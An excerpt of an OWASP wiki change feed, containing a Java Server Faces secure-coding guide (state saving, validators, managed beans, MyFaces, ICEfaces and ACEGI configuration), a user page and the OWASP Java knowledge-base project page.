In order to don't miss any server error, it's preferable to configure error handling at [[Servlet spec - web.xml|web deployment descriptor]] level. Configuration into JSP must be reserved to specific case.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Java_Server_Faces&amp;diff=235248</id>
		<title>Java Server Faces</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Java_Server_Faces&amp;diff=235248"/>
				<updated>2017-11-10T11:47:34Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Under review 10/3/2008&lt;br /&gt;
&lt;br /&gt;
==Web security.. before you start ==&lt;br /&gt;
&lt;br /&gt;
This document is about security in web applications developed using the Java Server Faces (JSF) framework. The reader should be aware of the meaning of common terms of both JSF (converters, validators, managed beans) and web security (injection etc.)&lt;br /&gt;
&lt;br /&gt;
==JSF Standards and roles==&lt;br /&gt;
JavaServer Faces (JSF) is a Java-based Web application framework that implements the Model-View-Controller pattern and simplifies the development of web interfaces for Java EE applications.&lt;br /&gt;
&lt;br /&gt;
In a standard MVC JSF are meant to provide the V (of view) and part of the C (of Control). JSF components can present almost any basic interface model. The framework also provides part of the Control layer including:&lt;br /&gt;
* Navigation Handling &lt;br /&gt;
* Error Handling &lt;br /&gt;
* Action and event Management &lt;br /&gt;
* Input validation &lt;br /&gt;
* Value conversion &lt;br /&gt;
These elements are defined by the JSF standard (JCP 127) so that any attacker will have knowledge of the architecture and life cycle of a JSF based application. JSF does not implement its own security model but instead relies on standard JEE security. This means that both application server security model, JAAS or other ACL implementations can be used with the JSF framework without any integration effort. But Access Control is just one part of security - all aspects should be implemented in a secure manner in order to consider the application itself secure.&lt;br /&gt;
&lt;br /&gt;
==Client-side state saving==&lt;br /&gt;
A JSF application can save the state of its components in the client response or on the server. Saving state on the client may be required because some users turn off cookies support, but it can increase response times when connections are slow. Saving state on the server may have the disadvantage of high memory consumption for the user, but it does minimize bandwidth requirements.&lt;br /&gt;
Since client-side state saving stores data in the client , it should be used wisely, or not used at all. An attacker that can manipulate a user's data could manage a data tampering or worst, a privilege escalation exploit. Unencrypted data is quite easy to manipulate and most of the client-side saved data are serialized Java objects  which can contain a wealth of sensitive data. If you plan to use client-side state saving carefully consider which information you decide to store in the POJO/DTO in order to minimise these risks.&lt;br /&gt;
==Components==&lt;br /&gt;
===Converters===&lt;br /&gt;
Converter could be a source of threat since it converts string in Java objects. An attacker could inject malicious code or tampered data to make the converter itself misbehave and expose protected data. The converter system is not insecure by itself, but conversion, since it is a security touch point for business logic and persistent data, should be handled carefully. Input should '''always''' be validated '''after''' being converted. In JSF lingo you should '''always''' have a validator if a conversion occurs. See next section on how to implement a security aware validator.&lt;br /&gt;
&lt;br /&gt;
===Validators===&lt;br /&gt;
Validation is your chance to verify that the input is as expected. This means that the input should be validated both from a domain view and from a security view. If input represents a string that in your domain should be from 10 to 254 characters long, the same string should be validated also to prevent SQL Injection and XSS attacks. Since many security checks are done using dictionary algorithms it's useful to have a validator that implements those checks and extends it to implement your domain validator.&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 public class TenToHundredsValidator extends SecureValidator() {&lt;br /&gt;
    public void validate(...) {&lt;br /&gt;
       &lt;br /&gt;
       super.validate(...); // Do security checks&lt;br /&gt;
       &lt;br /&gt;
       domainvalidate(....);&lt;br /&gt;
    }&lt;br /&gt;
 }          &lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===ManagedBeans===&lt;br /&gt;
Managed beans are the gears of JSF based application. Developers can access FacesContext statically and this is potentially dangerous. This is a common short cut for everything in the JSF layer, but manipulating this data could be harmful. Relying on security principals, and software engineering, is always a good approach.&lt;br /&gt;
Calls such as:&lt;br /&gt;
    FacesContext.getCurrentInstance().getExternalContext().getRequestParameter(&amp;quot;name&amp;quot;)&lt;br /&gt;
are dangerous because the whole validation stack is bypassed. You can read parameters but consider them as tainted input. Use Validators described above also if you are not in the validation phase . Validators are also an effective way to refactor your validation code and to prevent code repetition.&lt;br /&gt;
FacesContext  also allows access to user principal data; this data could be used to verify if the current user can actually execute the business logic in the managed Bean.&lt;br /&gt;
This practice should be adopted in favour of rendering or not the commandLinks that lead to the action of the managed Bean. A structured adoption of an execution based security framework , such as ACEGI (see the Appendix), could be a good enforcement of the security of the  managed bean.&lt;br /&gt;
===Custom components===&lt;br /&gt;
If the use of custom components is required in the application, the security depends on how the components are developed. Third party components should be delivered with a security report and support from the specific vendor or community.&lt;br /&gt;
If you develop custom components you should be aware of the same old security issues of web development:&lt;br /&gt;
* Do not trust request parameter &lt;br /&gt;
* Do not trust cookies &lt;br /&gt;
* Always consider that session could be hijacked &lt;br /&gt;
Since the component tree is assembled server side it can be trusted so if your custom component needs to read data from a sibling component it should be considered a safe operation although you will have to make assumptions on element names of the tree.&lt;br /&gt;
&lt;br /&gt;
==Implementations==&lt;br /&gt;
Since more than one JSF Implementation exists, bugs of the implementation should be first on the security list.&lt;br /&gt;
&lt;br /&gt;
===MyFaces===&lt;br /&gt;
There aren't major or critical security bugs registered in the current stable release of MyFaces (1.1.5). Client state saving is still the weak point and should be used wisely. My Faces comes also with a Security Extension  (http://wiki.apache.org/myfaces/SecurityContext) that allows to safely and easily retrieve authenticated user details.&lt;br /&gt;
&lt;br /&gt;
The MyFaces resource filter could be a source of threat. It is designed to expose resources from a jar file and could therefore, be considered, potentially dangerous. Note there aren't any claimed security flaws nor exploits in the resource filter, but the nature of this component makes it a good target for attackers. Since all it has to do is serve data it is recommended that a dispatcher be added to the filter mapping element. This should lower the possibility of an attacker successfully manipulating the server request.&lt;br /&gt;
For more information see: http://myfaces.apache.org/tomahawk/extensionsFilter.html&lt;br /&gt;
&lt;br /&gt;
There is also an easy way to enable encryption when using ''client save state''&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;context-param&amp;gt;&lt;br /&gt;
        &amp;lt;param-name&amp;gt;org.apache.myfaces.secret&amp;lt;/param-name&amp;gt;&lt;br /&gt;
        &amp;lt;param-value&amp;gt;NzY1NDMyMTA=&amp;lt;/param-value&amp;gt;&lt;br /&gt;
    &amp;lt;/context-param&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Supported encryption methods are BlowFish, 3DES, AES and are definde bya a context parameter&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;context-param&amp;gt;&lt;br /&gt;
        &amp;lt;param-name&amp;gt;org.apache.myfaces.algorithm&amp;lt;/param-name&amp;gt;&lt;br /&gt;
        &amp;lt;param-value&amp;gt;Blowfish&amp;lt;/param-value&amp;gt;&lt;br /&gt;
    &amp;lt;/context-param&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can find more info at http://wiki.apache.org/myfaces/Secure_Your_Application&lt;br /&gt;
&lt;br /&gt;
===SUN Reference Implementation===&lt;br /&gt;
Quoting from the documentation:&lt;br /&gt;
''There are several ways for a web application to store session state on the client tier. One possible solution is to use Cookies to store the state on the client. However, cookies have limitations in size and are not ideal in cases where you want to store session state on the client.  The state that needs to be stored on the client is first serialized into a byte array. This byte array is then encrypted using industrial-strength 3DES with cipher-block-chaining (CBC) and an initialization vector. To make the content tamper-resistant, we then create a message authentication code (using SHA1 algorithm) from the encrypted content and the initialization vector. The initialization vector, the message authentication code, and the encrypted content is then combined in a single byte array. Finally, this resulting byte array is converted into a base64 string which is stored in a hidden FORM field on the client.&lt;br /&gt;
This solution is secure because it uses a strong crypto algorithm and also uses a MAC for tamper-resistance. We also generate all the random numbers (for example, to generate the initialization vectors and the password) using the cryptographically-secure SecureRandom class. Note that the encryption keys are NEVER sent to the client or sent on the wire. These keys are used only on the server-side to encrypt and decrypt the state. One challenge is to decide what encryption keys to use. The encryption keys should not be known to the client, but still be associated with the client. We solve this problem by generating these keys from a password that is generated randomly and stored in the HttpSession. This strategy for key generation through password is pluggable in our solution and can be changed if needed.''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===ICE Faces===&lt;br /&gt;
&lt;br /&gt;
Starting from the idea that AJAX on Its Own Doesn't Corrupt Web Security ICE faces implements a component suite with ajax support by maintainig a continuous sync between the dom sent to the browser and a dom representation on the server. javascript is used to send commands to the server and invoke the logic in the java layer. Since dom model and javascript is involved a Javascript debugging  tool with value injection or dom injection capability could be of some use in pick locking the app.&lt;br /&gt;
&lt;br /&gt;
As stated in ICEFaces manual &amp;quot; the client is untrusted, SO DON'T TRUST IT!!&amp;quot; : it means that is up to the application designer to implement a robust security logic behind the scenes.&lt;br /&gt;
In another point of view the developer could focus on implementing server side security since with the server-side-dom architecture the thin client is even thinner.&lt;br /&gt;
&lt;br /&gt;
The component that refresh the two dom , called IntervalRenderer, uses  a persistent ServletRequest stored on the server. Unfortunately, this request does not contain sufficient information to perform the isUserInRole() check.&lt;br /&gt;
This kind of check is possible only on stadar render request phase. &lt;br /&gt;
&lt;br /&gt;
To address this, a small amount of integration will be required either between ICEfaces and acegi-security or ICEfaces and the application server.  Acegi-security (see appendix one ) is likely preferable as it will be more portable.&lt;br /&gt;
&lt;br /&gt;
==Apendix I==&lt;br /&gt;
&lt;br /&gt;
===ACEGI Integration===&lt;br /&gt;
&lt;br /&gt;
Acegi Security is a powerful, flexible security solution for enterprise software, with a particular emphasis on applications that use Spring. If used in combination with jsf, the managed beans could become more &amp;quot;security aware&amp;quot; since acegi do not only perform authentication but also authorization in business layer. Acegi is a convenient way to manage security in all the layers of our application. This is a valuable thing especially when authorization is strongly coupled with business logic (approval work flows etc).&lt;br /&gt;
&lt;br /&gt;
In order to use a custom JSF-Acegi login we have to provide a valid Security Context (''userName'' and ''password'' are properties of the managed bean)&lt;br /&gt;
&lt;br /&gt;
 UsernamePasswordAuthenticationToken authReq = new UsernamePasswordAuthenticationToken(userName, password);&lt;br /&gt;
 Authentication auth = getAuthenticationManager().authenticate(authReq);&lt;br /&gt;
 SecurityContext secCtx = SecurityContextHolder.getContext();&lt;br /&gt;
 secCtx.setAuthentication(auth);&lt;br /&gt;
&lt;br /&gt;
We can override the standard ACEGI navigation with custom, logic driven, navigation reading security context and routing the outcome.&lt;br /&gt;
&lt;br /&gt;
More information can be found at  here [http://www.javakaffee.de/blog/2006/07/04/jsfacegi-authentication-with-a-backing-bean/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ACEGI can be integrated also in the rendering via custom components [http://cagataycivici.wordpress.com/2006/01/19/acegi_jsf_components_hit_the/] which basically wrap the standard ACEGI tag library in JSF components. This conveniently solve the ''stage zero'' of profiling: display or not a widget in the page.&lt;br /&gt;
&lt;br /&gt;
Including a JSF based form for login in a page could be a little tricky, bu using MyFaces tomahawk components it can be done easely.&lt;br /&gt;
&lt;br /&gt;
The form will look like&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;%@ taglib uri=&amp;quot;http://myfaces.apache.org/tomahawk&amp;quot; prefix=&amp;quot;t&amp;quot;%&amp;gt;&lt;br /&gt;
 &amp;lt;t:inputText id=&amp;quot;j_username&amp;quot; forceId=&amp;quot;true&amp;quot; value=&amp;quot;#{backingBean.customerId}&amp;quot; size=&amp;quot;40&amp;quot; maxlength=&amp;quot;80&amp;quot;&amp;gt;&amp;lt;/t:inputText&amp;gt;&lt;br /&gt;
 &amp;lt;t:inputSecret id=&amp;quot;j_password&amp;quot; forceId=&amp;quot;true&amp;quot; value=&amp;quot;#{backingBean.password}&amp;quot; size=&amp;quot;40&amp;quot; maxlength=&amp;quot;80&amp;quot; redisplay=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/t:inputSecret&amp;gt;&lt;br /&gt;
 &amp;lt;h:commandButton action=&amp;quot;login&amp;quot; value=&amp;quot;#{messages.page_signon}&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;h:messages id=&amp;quot;messages&amp;quot; layout=&amp;quot;table&amp;quot; globalOnly=&amp;quot;true&amp;quot; showSummary=&amp;quot;true&amp;quot; showDetail=&amp;quot;false&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A navigation rule to follow ACEGI requirements&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;navigation-rule&amp;gt;&lt;br /&gt;
        &amp;lt;from-view-id&amp;gt;/login.jsp&amp;lt;/from-view-id&amp;gt;&lt;br /&gt;
        &amp;lt;navigation-case&amp;gt;&lt;br /&gt;
                &amp;lt;from-outcome&amp;gt;login&amp;lt;/from-outcome&amp;gt;&lt;br /&gt;
                &amp;lt;to-view-id&amp;gt;/j_acegi_security_check.jsp&amp;lt;/to-view-id&amp;gt;&lt;br /&gt;
        &amp;lt;/navigation-case&amp;gt;&lt;br /&gt;
 &amp;lt;/navigation-rule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And finaly ACEGI is told which page do the login&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;bean id=&amp;quot;formAuthenticationProcessingFilter&amp;quot; class=&amp;quot;org.acegisecurity.ui.webapp.AuthenticationProcessingFilter&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;property name=&amp;quot;filterProcessesUrl&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;value&amp;gt;/j_acegi_security_check.jsp&amp;lt;/value&amp;gt;&lt;br /&gt;
        &amp;lt;/property&amp;gt;&lt;br /&gt;
        &amp;lt;property name=&amp;quot;authenticationFailureUrl&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;value&amp;gt;/login.faces&amp;lt;/value&amp;gt;&lt;br /&gt;
        &amp;lt;/property&amp;gt;&lt;br /&gt;
        ...&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Imifos&amp;diff=235240</id>
		<title>User:Imifos</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Imifos&amp;diff=235240"/>
				<updated>2017-11-10T10:53:46Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Added content to identify myself as I'm doing edits on the Java/Programming language topics&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Natasha CARL&lt;br /&gt;
&lt;br /&gt;
https://twitter.com/imifos&lt;br /&gt;
&lt;br /&gt;
https://blog.carl.pro/&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:Java&amp;diff=235239</id>
		<title>Category:Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:Java&amp;diff=235239"/>
				<updated>2017-11-10T10:49:30Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: Removed mention of an inactive effort.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main =&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== About ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Java™ and JVM Technology Knowledge Base is the clearing house for all information related to building secure web/distributed applications and services based on Java and JVM technologies. The focus of these pages is on guidance for developers and architects using Java frameworks and JVM based technologies for web application development, on OWASP components that use Java and on participation in OWASP projects that use Java and JVM technologies. Moreover, we aim to provide security related guidance for system administrators managing Java and JVM based applications and tools.&lt;br /&gt;
&lt;br /&gt;
The project is not limited to Java. It aims to also address topics around the JVM in general.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the Java and JVM ecosystem.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for Java developers in using the security features of Java and of Java frameworks.&lt;br /&gt;
* Address security in relation to the Java Virtual Machine and derived technologies.&lt;br /&gt;
* Guide system administrators in managing Java and JVM related components and applications.&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with Java or other JVM languages.&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using Java or other JVM technologies.&lt;br /&gt;
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Java and JVM universe.&lt;br /&gt;
* Build an ecosystem allowing to all actors interested to discuss, share and learn.&lt;br /&gt;
&lt;br /&gt;
== Licensing ==&lt;br /&gt;
&lt;br /&gt;
OWASP Java™ and JVM Technology Knowledge Base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
Oracle® and Java™ are [http://www.oracle.com/us/legal/trademarks/index.html|registered trademarks of Oracle] and/or its affiliates. Other names may be trademarks of their respective owners.&lt;br /&gt;
&lt;br /&gt;
== What's Hot! ==&lt;br /&gt;
&lt;br /&gt;
See the &amp;quot;Tasks and Roadmap&amp;quot; tab for more information. &lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
[[File:OWASP_Java_Wiki_logo.png|frame]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Meta ==&lt;br /&gt;
&lt;br /&gt;
Last Update: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Other Resources ==&lt;br /&gt;
&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/java-project Mailing List]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/owasp GitHub (OWASP)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
* [[Ruby|Ruby]]&lt;br /&gt;
* [[PHP|PHP]]&lt;br /&gt;
* [[Perl|Perl]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[JavaScript|JavaScript]]&lt;br /&gt;
* [[C/C++|C/C++]]&lt;br /&gt;
* [[SQL|SQL, PL/SQL, DB Scripting]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Related OWASP Projects =&lt;br /&gt;
&lt;br /&gt;
== Security Tools ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Dependency_Check|OWASP Dependency Check]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities. Currently &amp;lt;b&amp;gt;Java&amp;lt;/b&amp;gt;, .NET, Ruby, Node.js, and Python projects are supported.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_SonarQube_Project|OWASP SonarQube Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The first goal of the OWASP SonarQube Project is to a create a referential of check specifications targeting OWASP vulnerabilities that can be detected by SAST tools (Static Application Security Testing). From there, the second goal is to provide a reference implementations of most of those checks in the Open Source SonarQube language analyzers (&amp;lt;b&amp;gt;Java&amp;lt;/b&amp;gt;, JavaScript, PHP and C#). SonarQube is an Open Source platform for managing code quality.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Secure Coding Libraries ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot; &lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_AppSensor_Project|OWASP AppSensor]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into applications.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[CSRFGuard|OWASP CSRFGuard]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| CSRFGuard is a Java library that implements a variant of the synchronizer token pattern to mitigate the risk of Cross-Site Request Forgery (CSRF) attacks. &lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Java_Encoder_Project|OWASP Java Encoder Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP Java Encoder is a Java 1.5+ simple-to-use drop-in high-performance encoder class with no dependencies and little baggage. This project will help Java web developers defend against Cross Site Scripting.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Java_HTML_Sanitizer|OWASP Java HTML Sanitizer]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP HTML Sanitizer is a fast and easy to configure HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_Security_Logging_Project|OWASP Security Logging Project]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| The OWASP Security Logging project provides developers and ops personnel with APIs for logging security-related events. The aim is to let developers use the same set of logging APIs they are already familiar with from over a decade of experience with Log4J and its successors, while also adding powerful security features.&lt;br /&gt;
|-&lt;br /&gt;
| colspan=&amp;quot;2&amp;quot; | [[OWASP_ESAPI|OWASP Enterprise Security API (ESAPI)]]&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;20&amp;quot; | &amp;amp;nbsp;&lt;br /&gt;
| ESAPI (The OWASP Enterprise Security API) for Java is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. This project has seen major updates as recently as February 2016.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== General Documents ==&lt;br /&gt;
&lt;br /&gt;
{| width=&amp;quot;100%&amp;quot;&lt;br /&gt;
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]&lt;br /&gt;
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]&lt;br /&gt;
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]&lt;br /&gt;
|- &lt;br /&gt;
| [[OWASP_Testing_Project|OWASP Testing Project]]&lt;br /&gt;
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Related 3rd Party Projects =&lt;br /&gt;
&lt;br /&gt;
A list of third party (i.e. not part of Java SE or EE) security frameworks. This page contains a list of Java security libraries and frameworks and indicates which security features each library supports. &lt;br /&gt;
&lt;br /&gt;
==Enterprise==&lt;br /&gt;
* [http://shiro.apache.org/ Apache Shiro] is a Java security framework that performs authentication, authorization, cryptography, and session management. &lt;br /&gt;
* [http://projects.spring.io/spring-security/ Spring Security] provides security services for Java EE-based enterprise software applications. Services include authentication, authorization and protection against attacks like session fixation, clickjacking and cross site request forgery. &lt;br /&gt;
* [http://www.hdiv.org/ HDIV] A web application security framework that provides a number of functions.&lt;br /&gt;
&lt;br /&gt;
== Access Control (Authentication and Authorization) ==&lt;br /&gt;
* [http://oaccframework.org/ OACC] is an application security framework for Java designed for fine grained (object level) access control. OACC uses the abstraction of a ''resource'' for the application objects being secured. This key abstraction enables OACC to provide a rich API that includes grant, revoke and query capabilities for storing and managing the application's security relationships.&lt;br /&gt;
* [http://picketlink.org/appsecurity/ PicketLink]  provides authentication, single sign on, permission based access control and other security features.&lt;br /&gt;
&lt;br /&gt;
== Encryption ==&lt;br /&gt;
* [https://github.com/google/keyczar Keyczar] is an open source cryptographic toolkit designed to make it easier and safer for developers to use cryptography in their applications. Keyczar supports authentication and encryption with both symmetric and asymmetric keys.&lt;br /&gt;
* [http://www.bouncycastle.org/ Bouncycastle] is a lightweight Java cryptography API &amp;lt;i&amp;gt;provider&amp;lt;/i&amp;gt;.&lt;br /&gt;
* [http://www.jasypt.org/ Jasypt] is a Java library which allows the developer to add basic encryption capabilities to his/her projects with minimum effort, and without the need of having deep knowledge on how cryptography works.&lt;br /&gt;
&lt;br /&gt;
== XML Security ==&lt;br /&gt;
* The [http://santuario.apache.org/ Apache Santuario] project is aimed at providing implementation of the primary security standards for XML: XML-Signature Syntax and Processing and XML Encryption Syntax and Processing.&lt;br /&gt;
&lt;br /&gt;
== Validation ==&lt;br /&gt;
* [http://www.sapia-oss.org/projects/vlad/home.html Vlad] stands for &amp;quot;validation&amp;quot;. This projects indeed aims at offering a simple, high-level, extensible, generic validation framework that can easily be integrated into existing applications.&lt;br /&gt;
* [https://www.owasp.org/index.php/Protect_FileUpload_Against_Malicious_File This OWASP article] and [https://github.com/righettod/document-upload-protection code snippet] proposes a way to protect a file upload feature against submission of files that may contain malicious code.&lt;br /&gt;
* [http://commons.apache.org/proper/commons-validator/ The Apache Common's validator] can be used to perform validation.&lt;br /&gt;
&lt;br /&gt;
= Resources =&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
[http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Technologies Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Code Repository ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/owasp GitHub OWASP Global Repository]&lt;br /&gt;
&lt;br /&gt;
== Related Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
&lt;br /&gt;
[[Language|Languages Repository]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_.NET_Project|.NET Project]]&lt;br /&gt;
&lt;br /&gt;
[[Ruby|Ruby Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[PHP|PHP Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Perl|Perl Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[Python|Python Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[JavaScript|JavaScript Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[C/C++|C/C++ Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]&lt;br /&gt;
&lt;br /&gt;
= Tasks and Roadmap =&lt;br /&gt;
&lt;br /&gt;
== Roadmap ==&lt;br /&gt;
&lt;br /&gt;
* Build Java and JVM security related net resources guide&lt;br /&gt;
* The OWASP Java and JVM Technology Knowledge Base is principally about creating deep, rich guidance for Java and JVM developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything around the JVM universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.&lt;br /&gt;
* Concrete guideline for Java and JVM developers&lt;br /&gt;
* Clear checklists, around various topics, language, servers and frameworks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Get involved =&lt;br /&gt;
&lt;br /&gt;
The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.&lt;br /&gt;
&lt;br /&gt;
When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time. &lt;br /&gt;
&lt;br /&gt;
Please also be patient with expecting the &amp;quot;merge&amp;quot; of your work into the existing project pages and code. As everywhere in live, trust has to be built-up. &lt;br /&gt;
&lt;br /&gt;
The Java and JVM knowledge base has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating. Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends. &lt;br /&gt;
&lt;br /&gt;
Sounds cool? Then jump in...&lt;br /&gt;
&lt;br /&gt;
To get involved join the mailing list, follow this link: [http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Mailing List]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
